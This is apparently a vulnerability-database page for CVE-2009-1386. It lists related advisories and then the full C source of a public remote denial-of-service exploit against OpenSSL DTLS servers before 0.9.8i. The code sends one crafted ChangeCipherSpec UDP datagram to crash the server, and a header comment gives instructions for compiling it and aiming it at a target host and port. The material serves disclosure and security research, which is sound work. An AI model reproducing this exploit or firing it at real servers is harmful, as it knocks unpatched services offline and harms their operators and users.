| Reporter | Title | Published | Views | Family All 109 |
|---|---|---|---|---|
| OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit | 4 Jun 200900:00 | – | zdt | |
| CentOS 5 : openssl (CESA-2009:1335) | 6 Jan 201000:00 | – | nessus | |
| Debian DSA-1888-1 : openssl, openssl097 - cryptographic weakness | 24 Feb 201000:00 | – | nessus | |
| EulerOS Virtualization 3.0.1.0 : openssl (EulerOS-SA-2019-1548) | 14 May 201900:00 | – | nessus | |
| HP System Management Homepage < 6.0.0.96 / 6.0.0-95 Multiple Vulnerabilities | 27 Apr 201000:00 | – | nessus | |
| Mandriva Linux Security Advisory : openssl (MDVSA-2009:238) | 22 Sep 200900:00 | – | nessus | |
| Mandriva Linux Security Advisory : openssl (MDVSA-2009:310) | 4 Dec 200900:00 | – | nessus | |
| MiracleLinux 3 : openssl-0.9.8e-12AXS3 (AXSA:2009-388:03) | 14 Jan 202600:00 | – | nessus | |
| NewStart CGSL CORE 5.04 / MAIN 5.04 : openssl098e Multiple Vulnerabilities (NS-SA-2019-0020) | 12 Aug 201900:00 | – | nessus | |
| OpenSSL 0.9.8 < 0.9.8i Vulnerability | 4 Jan 201200:00 | – | nessus |
/*
* cve-2009-1386.c
*
* OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS
* Jon Oberheide <[email protected]>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
*
* OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
* the first record instead of ClientHello.
*
* Usage:
*
* Pass the host and port of the target DTLS server:
*
* $ gcc cve-2009-1386.c -o cve-2009-1386
* $ ./cve-2009-1386 1.2.3.4 666
*
* Notes:
*
* Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this
* only requires a single ChangeCipherSpec datagram, but affects an older
* version of OpenSSL.
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
int
main(int argc, char **argv)
{
int sock, ret;
char *ptr, *err;
struct hostent *h;
struct sockaddr_in target;
char buf[64];
if (argc < 3) {
err = "Pass the host and port of the target DTLS server";
printf("[-] Error: %s\n", err);
exit(1);
}
h = gethostbyname(argv[1]);
if (!h) {
err = "Unknown host specified";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}
target.sin_family = h->h_addrtype;
memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
target.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
err = "Failed creating UDP socket";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}
ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
if (ret == -1) {
err = "Failed to connect socket";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}
memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);
printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);
send(sock, buf, 14, 0);
close(sock);
return 0;
}
// milw0rm.com [2009-06-04]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation